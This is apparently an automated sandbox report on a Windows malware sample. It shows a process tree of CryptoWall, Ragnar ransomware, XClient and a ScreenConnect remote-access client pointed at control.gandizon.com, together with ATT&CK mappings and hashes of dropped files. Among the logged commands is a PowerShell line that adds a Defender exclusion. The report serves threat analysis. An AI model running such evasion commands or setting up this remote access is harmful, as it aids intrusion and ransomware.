        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12472
- - C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe
    "C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:664
  - - C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\syswow64\explorer.exe"
      4⤵
      Drops startup file
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      PID:5300
    - - C:\Windows\SysWOW64\svchost.exe
        
        -k netsvcs
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2920
- C:\Users\Admin\AppData\Roaming\tcping.exe
  "C:\Users\Admin\AppData\Roaming\tcping.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5040
- C:\Users\Admin\AppData\Roaming\paping.exe
  "C:\Users\Admin\AppData\Roaming\paping.exe"
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:5076

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1568

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\cf4d0a0b\cf4d0a0b.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:5352
- C:\cf4d0a0b\cf4d0a0b.exe
  C:\cf4d0a0b\cf4d0a0b.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:4732
- - C:\Windows\SysWOW64\explorer.exe
    "C:\Windows\syswow64\explorer.exe"
    3⤵
    - Drops startup file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\SysWOW64\svchost.exe
      -k netsvcs
      4⤵
      System Location Discovery: System Language Discovery
      PID:3312

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\cf4d0a0b.exe
1⤵
PID:4104
- C:\Users\Admin\AppData\Roaming\cf4d0a0b.exe
  C:\Users\Admin\AppData\Roaming\cf4d0a0b.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3940

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
PID:6608
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 32B7933C44D3E7B02821C74BC8E20FC5 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:4932
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBE6E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240631937 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2908
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:1032
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E1940F7D4E8F3C3148A5389D3B4CFEAC
  2⤵
  PID:14268
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 6261864830480E228C2E60889B89CA64 E Global\MSI0000
  2⤵
  PID:10620

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\tasksche.exe"
1⤵
PID:7436

C:\Program Files (x86)\ScreenConnect Client (d724279e76808474)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (d724279e76808474)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=control.gandizon.com&p=8041&s=019ff73a-0e87-44ae-a9ed-88c194cfb541&k=BgIAAACkAABSU0ExAAgAAAEAAQAZ3y3oX8w7yYbQbwWyh2tsuWyy101A0izwU5WSpslaCTqahFkxsNThqZ2DXJG4n044XCVtLTioTA%2bIgJI2aINklbR8nh7cKGX1Vr%2fmjKK9pbLSHNH2mS81X%2bYdRqhp6yvAx%2fUxhKJaGd%2b%2f6B72%2b3RbKPbQFKvQqBiVb3PXgQs38JKmzBzjGlUkPJIrK1KQAtSyvJ4rw7fOEz4n%2fsbd3gT3C7prgQ9DgT2yGxG6rBkvnagiKFFKjn%2bbaSwc%2bjPiQm8BVOiT3cWdyKBrHDRAZ%2fpUq8M3v2Ijio2SeWie8BFTOFNCxYF8asD%2fJDBEFaVDS65G%2brfPxRkfdRw%2fxjgRpgXM&c=Stonks&c=&c=&c=&c=&c=&c=&c="
1⤵
PID:11048
- C:\Program Files (x86)\ScreenConnect Client (d724279e76808474)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (d724279e76808474)\ScreenConnect.WindowsClient.exe" "RunRole" "ded2922f-7f54-4b94-b70c-6ea44e3f1531" "User"
  2⤵
  PID:14676
- C:\Program Files (x86)\ScreenConnect Client (d724279e76808474)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (d724279e76808474)\ScreenConnect.WindowsClient.exe" "RunRole" "d9ef0076-8659-411d-a290-f2b4f737772a" "System"
  2⤵
  PID:1640

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
PID:12604
- C:\Users\Admin\AppData\Roaming\XClient.exe
  C:\Users\Admin\AppData\Roaming\XClient.exe
  2⤵
  PID:15324

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004C0
1⤵
PID:8248

C:\Users\Admin\AppData\Roaming\XClient.exe
C:\Users\Admin\AppData\Roaming\XClient.exe
1⤵
PID:11092

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Pre-OS Boot

T1542

Bootkit

T1542.003

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

e584ae0.rbs

Path C:\Config.Msi\e584ae0.rbs
Size 214KB
SHA256 bdb43d4f8c4273b85f9c86e8b1c91e5a79c25d908f70d8edbaa09f52f6ddfad1
MD5 17ce95aac032dff286a23afe22686d2d
SHA1 48b84ae7c35b66b92b0caf68b05c04aa73ab3421
SHA512 d34301cc275117ecafaf275a265a0e6ca2fdc35017930b0af6242e51db84e71721202d8a81fe913b0fef9ec7cdfbfb1d00164ffcc959456b7287e1feda19731f
SSDEEP 3072:y79LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGz:y7uH2aCGw1ST1wQLdqvz
MD5 SHA1 SHA512 SSDEEP

Submit Download

duplicate.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\duplicate.svg
Size 2KB
SHA256 c6648b16d2878c4e3bd197c1cea134b28b777de67c2ab08906c36a60ec563f5d
MD5 411ed929e1c9028f04d94a769cbc419c
SHA1 bcec782cc25e37c13d6d5ee6333e9f4e509dc708
SHA512 1dadd7de22951df5d0af7b9ed22eac50edebf2829da982bc2f9401dc390f71a6579109fe140fdb571ef53021054907eccab05dac00b2184a6682c633fea951b7
MD5 SHA1 SHA512

Submit Download

aic_file_icons_retina_thumb.png.ragnar_292FBD50

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons_retina_thumb.png.ragnar_292FBD50
Size 51KB
SHA256 0de511c5692234d39551ecfcfde39c6c50aaf85aafc04abcee0d789713f6f343
MD5 74aac81bf5191bdbe41714d99b082370
SHA1 054d56d2a9e298a574a09ea63b334a12b9ef0754
SHA512 d3f5f88af9e8172da7086f4601d4e7b39a2a9b022774983b22db31089d88841b89793e51c3ff21f194dc1ca453c86fdcb2f5c96a5d9f1afa6306f198a4dac7ca
SSDEEP 768:134VqkPzvi2KtaxjNhvhgQIXiicW59qJdsPHtExp8bcurFh7WzV/8m:1GFe1+jNh7IkWqUPHtK8blptfm
MD5 SHA1 SHA512 SSDEEP

Submit Download

remove.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\remove.svg
Size 1KB
SHA256 3aa99af9315c1db834e98f010306851bbc6f58d56a2755b39278a4545a4212bc
MD5 ce458e71ca956504b4dabaf0e9a62ac0
SHA1 136173222075f3b5662eb7f6992af89d625cb9f5
SHA512 154c75941f686e8b69a096b3e6174f48939ec9c16a022158e712975d21e58db024e5b7a65cd049301829ed47ca5e8ab7845cffbde7e8c0c2f1d467a83f0d9b56
MD5 SHA1 SHA512

Submit Download

s_backarrow_default.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_backarrow_default.svg
Size 1KB
SHA256 481193722b7d6d406a2b830fa0ac4d2e64a25435c3a8b5a0a6e8f9308549a6f9
MD5 25a63ec2ec6392e2f3a139245d4ada5f
SHA1 38f941eda1f2a15952fcc9aa5534df50e5b7d6dd
SHA512 06ce72d2c989215d4b62bed9b6eeb48c193e33da5ae022b340113c44b15431c48f00016b25eb79e964db8e844512bba006b84ecdc8f026282fa8adad67b0306b
MD5 SHA1 SHA512

Submit Download

s_closereview_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_closereview_18.svg
Size 1KB
SHA256 b5c7df2945b6bb7d49c0a6a128df4b4150b3463ac1aaf9323b40a9884998bd03
MD5 be6e7f4e6dff127240c29e57c96b78e6
SHA1 d1766aa0fbdbf8dffe8265d7193f468cf7cf050c
SHA512 09af0b7c8b70e15bd44c7bc149505a112d9220208fa15b287a4d809233f30c67c3e0b2cb6f18107be9624f78e10427d7857244adba6d27882efafa7dc635c08b
MD5 SHA1 SHA512

Submit Download

s_comment_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_comment_18.svg
Size 1KB
SHA256 ab12793eff7c07990eedce516bfd3f6dad5c0d7a0137bafa7a5ba0da859f3b9a
MD5 2bbf119a175be6947f79f8eb356df5f5
SHA1 9f6e6d038c7b6115dfcacaa52d9c281e7bd469a2
SHA512 6f0785d9d3b6a9a1dcc6afff39896cdce9e6fc4877e85d9e7250f1f401e51aece02b9a18514ccf33b83fec264f56df56cc91423e9785856247fb6fad304a3c15
MD5 SHA1 SHA512

Submit Download

s_editpdf_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_editpdf_18.svg
Size 1KB
SHA256 af6af643ce6cddfed3562a775dde26e794d35187926a3676dbb2f250e1489c11
MD5 9061dafa3393fd5e3b8d4ac12588c09b
SHA1 b4d978180a817e6bf4154d11f7994350629c9e77
SHA512 2cea6b2d62c781ce32fd5f415a10ebf30318d9bb4e45bab77bf54112fb8f1d7a97524a502bd68dd7b19e1f22cec04b47a70a7b357265bfd69a17ee50faba1bcc
MD5 SHA1 SHA512

Submit Download

s_export_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_export_18.svg
Size 8KB
SHA256 bbbea3321afb60714b24b99b99982a573a4077f3a92e3d28379b37f1505fe64a
MD5 6b63add2cde050ab893057bcf873c7ca
SHA1 f5f8b67721c7a952cd4342b82bde7f1ca41e84ec
SHA512 9d823fab0bb7152693c26e4deb78f2b69d94a119f8ccc064fa6911836ccc8b4b73fb9425d68dc8a77aaf2d91e278361410fa887a9d1bd32d5a5e2d02d722a8c3
SSDEEP 192:aho8czCcam43FqCx37CflIf/guEDxh6fedEa4JPBWpLEN9y8g:+oxjG3FdCflIgJDxIGdE1BWpc9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

s_fillandsign_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_fillandsign_18.svg
Size 2KB
SHA256 6a3ee42ac97c6a1f2421fb908f7d207867706bf84e3bea9681585dd5e657d3da
MD5 30f8292fe2156e438b6db19569250936
SHA1 d965d4759b688cd51bc28298c5ecd08dda999888
SHA512 e86b9cc28ad62af095c6e08b76127dc62eb446b42686e1dcbda57a7a561d113723df6f84615479fcee7c143daaa069c9617ad3aab269578b3f7aed4e90a4d652
MD5 SHA1 SHA512

Submit Download

s_move_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_move_18.svg
Size 1KB
SHA256 c1cedeefa158298b8b5af908d1d853216444acb1f31a23a4075ee5257c7c3c54
MD5 7df0b89b7e9d9a2ac3f8c308b1406ea7
SHA1 33e6dc0c0a78fd3ed998503d2c0352addf8b4fdd
SHA512 f81c7a9ac82ddf24ad7cb9eacf599b566b81bbc82d0794307dd45c8f3f2fa69aa9e569a3e409f47a54ebee5a7597953a253e5c83dd2d174bf3f4a1851bd58277
MD5 SHA1 SHA512

Submit Download

s_newfolder-default.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_newfolder-default.svg
Size 1KB
SHA256 1f9c05929e21b08ce134c3f6791e0b0765b8465987ab1ab9f748886d9a9b20ab
MD5 19ed1fb1364cec35d1e8f201b11f416d
SHA1 e26749069cf1fbccc0ffc550010b9719690cdb79
SHA512 42b5896f19b6171bf0f8b6db51bbecdd981cd6e224bcea08b50518066ac2dfc08a0147c799d8c9c4456c517fa6aea7c641d602acee96b4d40791e9de3700e53b
MD5 SHA1 SHA512

Submit Download

s_nextarrow_default.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_nextarrow_default.svg
Size 1KB
SHA256 a5e9d93bb6a8963a50c542953c21f99aff2726b30ed969a8fce14028d2745b9b
MD5 988c34ddb8a31d3bfd33c99007828cab
SHA1 823f39e283efcbf9a9b16a663fc8434092fd3771
SHA512 444da211e3e638353290d67c96bccd3cc2e9f82b686fce2d67f4d863f79c0290de19a871a0ef9b4f0802d5e0073db8275583d944dfe579fcf8af6e7c0607e8ee
MD5 SHA1 SHA512

Submit Download

s_organize_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_organize_18.svg
Size 2KB
SHA256 95771befc9e123f1a2633f237216a41af5fbece40e80664338dc8a36d77484d0
MD5 775feb5b188c698c5c9cff1d92b31545
SHA1 376a28f22e613e6624cc940cd96410b915ed1fba
SHA512 b2aca562f4200288d93e770d9d3e64eaa46dacfb2972fed1da208f421d70117d2337287071a22b9f1c6591335ae0d65c46552ed496fefe9f334a6c895634ec18
MD5 SHA1 SHA512

Submit Download

s_rename_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_rename_18.svg
Size 2KB
SHA256 4fa2114eda5b03d695e02aee5ab1b9dbfde88380c33a2739311315ac3a341c2f
MD5 64e852aef61d1cd44ea347afc1bbfd57
SHA1 a391100faf97d7361fa5811a2188855405666c64
SHA512 6648ea6faa98456e66fa981adcea22d8991e6523fc66220e1095e993e4fd6853d80eae0d14e4613e4360d8b9cd9a8b891f9902b466886ceb2ee4b85cf5ae2eaa
MD5 SHA1 SHA512

Submit Download

s_sendforsignature_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_sendforsignature_18.svg
Size 2KB
SHA256 c24374f8375dfc4ef9a7e4805bade699faf0d0ac836a4397f8312f61e0b0a12f
MD5 7c122a159267d95849ff1bb5b5d8f38f
SHA1 fdce1a4eef40777bed0c75a417957fbd8aa19e1d
SHA512 5854910e096e504747da8e023cf47873a8f85c778e298946d7d493bbc73bfd3b7fa80b4e329ed8b74ec492770d5eb541a1ac0a915f6239eeaeab1c7307f2592a
MD5 SHA1 SHA512

Submit Download

s_share_18.svg

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_share_18.svg
Size 1KB
SHA256 9a98e12e5fb2afa5f089761bd5769198228fa94a6214461794a6f096e124f79e
MD5 c6c440a584a6d89b5c360cc186c3de48
SHA1 244a8a6ab5acf8f208d9537b6a30514907720593
SHA512 312668d4fa69d82514af91706599683beada038ebf9fb8720eaccce3d9b375741b58ae4842829e8ef913ae778fa604542b7ed21ac67f3015d890fcd46fc37d50
MD5 SHA1 SHA512

Submit Download

selection-actions.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions.png
Size 2KB
SHA256 793948fd58a5bc176a0d82e587016e13d965319ab5582339eaaca0c77444cd92
MD5 305c2010efcd681feca3c5ea8dc6ed29
SHA1 44275fef4702eb7a3ad9823470e348de8bc9134e
SHA512 829682a7974cfdfd95d048e81c434c3cc60b4ecee42b0f169904b856d47618275ef54ddce077f7daf8287aceba87b098b66c85dd84bc3d953a3aa1f326710eb4
MD5 SHA1 SHA512

Submit Download

selection-actions2x.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions2x.png
Size 4KB
SHA256 64f737ee6852251c4fd252b656d10f2ea2e089dc3cd013529e10ed14b2186b82
MD5 878b347e2a73a50c0d385d0e4eb3687c
SHA1 43ae61a1c757c1433a5005984b391ae8a4a4a1a3
SHA512 8e851d6da58ce5402095eed22afbb6f7c8ace2fd528a26f680f3b14d338e4ff9deee6e1745a32a137d7866fd66392489ee4cf6715010c7a0b7d1d5f74985b21e
SSDEEP 96:vZIz4Cp6HmRNhkoPGEJkfc7DJNBXjVGdfXr4K3OY9+F8g:vU0UNht1n9XjVGxrv3R9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\app\dev\nls\root\ui-strings.js
Size 3KB
SHA256 e64bef3082e81deaaea0934865e13c34fc0a33819081094f110dda1c0936fd08
MD5 f8443035d551af01e1e63ebb9de21b9c
SHA1 bb95bc8a243a1821d52f150f727796bf0a77b483
SHA512 0f11708a275ecc4c067274f1c6689d26eae098f8bd361bfc81a3dfacdcf835b0b073f4776f04e7fcdbfe59bb74bf6351b7b69b88f7b524f6271233d23dbdd825
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js
Size 28KB
SHA256 8e29e8a23fdc51f7a2894726a78981783cbb059784f1e8a5cc48c28a90732fcb
MD5 8eedcd480219e6b516149025358d566f
SHA1 86734af89464c359a1ada0d774f5c595540642bb
SHA512 753d042af2c9096e74cf54fcda29ae6c9210f16b6c247e6936d609c0729a8f2f6349f50fe03a9c0276902411625a50b6db10b1cc7d250263edb31a6d289cba6e
SSDEEP 768:D9ug0SdQpesUAJSqsAkyf5PzGRUV8opv/gmVOaxTIqm:Bugtq7UAJSJK57GRJcAOBkqm
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js.ragnar_292FBD50

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\root\ui-strings.js.ragnar_292FBD50
Size 8KB
SHA256 ea9c14c7f9382fab2629494a0a1abbf56ac773272d5789c9b9cfab5a909f05b0
MD5 22a3900eb109533a30ad4ec7b7492148
SHA1 8fa38b81c3102d2de2271cf82649d2f27075d952
SHA512 93cd1ee833e23b55c0c103fc6e1c6eff3c2eaa6da11cadceb9da8f1e4923c00796549a93ebf6b7448b749d3a581ed7e90fcc4a55d1a892f64cf1940153d1df30
SSDEEP 192:0lksUHWaIJGfU7L6+F/0lF06VsZfvrFrR7XIVkmQ6u6g1QFNv9y8g:0dRLm+F/bZrFrRcqms6g1QPv9c
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\he-il\ui-strings.js
Size 1KB
SHA256 4d764e2440254c636de11abd4ed9450387a3c8059cb8be16b716a9dc742fc270
MD5 86c32c02020cdea0e38e34c71667da14
SHA1 10088951ea9eb694be8ca99f20eb56a9a057ff1a
SHA512 0a77a00aee17b8eb52a10103785c66ee68c31838c290ecf2a8809fb47527cb365388029f7457b120c756999eddde38725fbfc99fe992a2491ece9de75675a747
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\ui-strings.js
Size 4KB
SHA256 19ec20980c169d346cf82ea52c501281e429bfdbc5202231a913d0deca027c8f
MD5 12f51d04dcae242a640bc3955b1141e2
SHA1 f5737b3b7ce1fbfb7e998705585bca7e5f61c651
SHA512 44c071086b853260857773006455d5e7590ae3e6735bded5db3a99d0d560106f5cde84210181f200d9e3b32ae0091feb4f5e10be1e3e1fa8cc2460ac74e40b29
SSDEEP 96:1MzNMKiqyh4unvctYGxDL55CqbS8GTBnTfTlVSIAj9+F8g:1VThxviZLnZbS8GdTZ1Aj9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\ui-strings.js
Size 2KB
SHA256 8d88960a1ba3448407ae7e547d46e79cd372ec0bc64a27f95c0b714cd71e0caa
MD5 c469a62561b6a281aeea42f29a28be17
SHA1 2a5ac7b88da4ecd49c9af15f31372f808fc6bf72
SHA512 504ade0916ee2993823311d6917de989e24b002dc30ce079acae780f1691476c51c5b2b2e7370bdde8fa353f397f0fdfa0f8213ae07916a20cbee3a09c2dc913
MD5 SHA1 SHA512

Submit Download

convertpdf-selector.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-selector.js
Size 174KB
SHA256 5ec9904949b9a39c62a277d8f82e855584b60770e75d6f900140ba4e0a4f6be3
MD5 4713d13ba847da3d2b4be055ca4e3898
SHA1 f9cd8213b6194346127a90e75b521e0ff4a6652c
SHA512 d31025a762c5a4f426832ba3c33aeaa632d3ae80273b8bb92f24f4f553f458121ee8326dd41af2778c1ef09f4b82fb89fed2e118f280a156d164dc6fc7e7d384
SSDEEP 3072:QxnhQGb3oLLplg4GuIK4valN4nvCXYcHZVh/8IU4h/WsagrIezVYGL6QhdnCDOkR:whQmoHpLGRJvAFv5b/8IK1cIezVYGL65
MD5 SHA1 SHA512 SSDEEP

Submit Download

convertpdf-tool-view.js.ragnar_292FBD50

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\convertpdf-tool-view.js.ragnar_292FBD50
Size 374KB
SHA256 f2ce52f50b7f59bb82f1ab481150b252f8d4cbbbf81418cb24293cb9d903ee4f
MD5 acaff1e3a46197dc59bf962cddc8efee
SHA1 da3bd0c0faddadc0dd47bc74d9ccc703811407de
SHA512 f072f6b706e6537f05adc607dde432fffb6a8d1baadfb499e9aab9b4809973accc4b9d760fba719d64a4408c00e421f8add8a686954a502f5b8e02c18a8dc7d6
SSDEEP 6144:K5rJZLl1tK0V1iiaPzxNFfksUtuf/8sitf5/syTzZbsUk5HQgBAsJ0lVFHMKE5g+:4rJZLrY0V1+PzxNF8ftu38sitB7zZARD
MD5 SHA1 SHA512 SSDEEP

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\ui-strings.js
Size 3KB
SHA256 eb13199b85a4676757cd55e3551ecaaa3064a0e88801dcf2ffc22d4e3cc62a0c
MD5 1351ee45d2ced44b006d61dd04765d44
SHA1 8eae971487b9df14e3babee7659a2e09f36078c9
SHA512 fdbd9ff209a3ead1b43ed4dfa95a6313c65aaba8ce1cefc182909a0be0edc5b0299a69cb87f3fdfcf756d20207dc0456abe4cb231b95de65b9b697c695cceaaa
MD5 SHA1 SHA512

Submit Download

ui-strings.js

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\combinepdf\js\nls\root\ui-strings.js
Size 1KB
SHA256 603c1f5a69183205320488930c491c1dc00638c079800153b0bbc94c3e460254
MD5 1bf4a4647957864372047f555eee9c25
SHA1 8d85fd3e8149456c58ceeb6162caacdf2136d92d
SHA512 65f52dc79c47c7c3c2e74215d9a532914f58d65cb0294c86bdcd8693c503ced1371dcb6e7465b4cc3e4a0f066ffa6bf123836da5bb5fbc3a5a64d7d2f6e262b6
MD5 SHA1 SHA512

Submit Download

rhp_world_icon.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon.png
Size 966B
SHA256 5ebd68e52bc0f7c575bcbf0da742352413e55865b075a6a8c49cee95aeda5f9b
MD5 ea4aac33d66a233d8a5138ad96919a4a
SHA1 a433ffa9b5753ba08acb49025a3c83223b487181
SHA512 2d3b143fed78fcfa14dcc0e1c6fd5bdebe56a6ba7d5188d74e4b6ce7a98a9023279ebd94c0530af7a7bcf6a2c0c198e9a90927c69fccd685dd36cb62a99cbcb8
MD5 SHA1 SHA512

Submit Download

rhp_world_icon_2x.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_2x.png
Size 1KB
SHA256 b524e7e2e8c59feff2a7eebc053eab1a5951cb195a539b4136d612ac77d4aabf
MD5 a990a3e73910d198dd715164763ab553
SHA1 f8669894227b3960e2ec3bd2cea7b94e4133e8e0
SHA512 86299ba9f3d18d764345c060474bc1575c3a5c66ac04bc43d67a9ae95553b7dade779084f2e79d7aca02cac3e5ce4de9585bdb9ec982ca6368005a927ba96cc8
MD5 SHA1 SHA512

Submit Download

rhp_world_icon_hover.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover.png
Size 909B
SHA256 8ac91ebfd7fec1419b88c1b4bbbc946947331afb5cbb079a7fcbc15ec26d70d6
MD5 f3af1b707dc4825004297fa742e4ebc8
SHA1 a6147c1ca8c0a86216d9f4031bde57d6a61a7a7f
SHA512 5ef741e04dd5699212dc092232384ad9a73edb20e96b036ac56987b70eb9f8a5eaacdacbd586cf8c94fb13920c759f96e84e03dd325a8f9f669ed98b31af45eb
MD5 SHA1 SHA512

Submit Download

rhp_world_icon_hover_2x.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\rhp_world_icon_hover_2x.png
Size 1KB
SHA256 93a8ad25a958370a23eefe52fa603e5438c944e70bcbc6b880d54c2d551caed2
MD5 d4bf99b5dcf28e5ce992bda6879f9bdd
SHA1 6880c7cb7281c0de055ff9b8227b1e9f155460f1
SHA512 766f5bf65741ef576b07c9f32fa42e8fbfdca0f74fcfdb5eb37faad957e679651ca38339c5ec80b65c39db24233eff739bc69ff9a02b90dba3ccca33d42b375f
MD5 SHA1 SHA512

Submit Download

example_icons.png

Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\createpdfupsell-app\images\themes\dark\example_icons.png
Size 1KB
SHA256 6cbf2e8c93d813d9ef0a12aac8c91a3a10d5e808013f6eb9b21b533d25fcead2
MD5 7e241960861a18c2e0bfd8632f9ec7b5
SHA1 f79bc5ef6d7fb7f0721ca9da90416026c427ad74
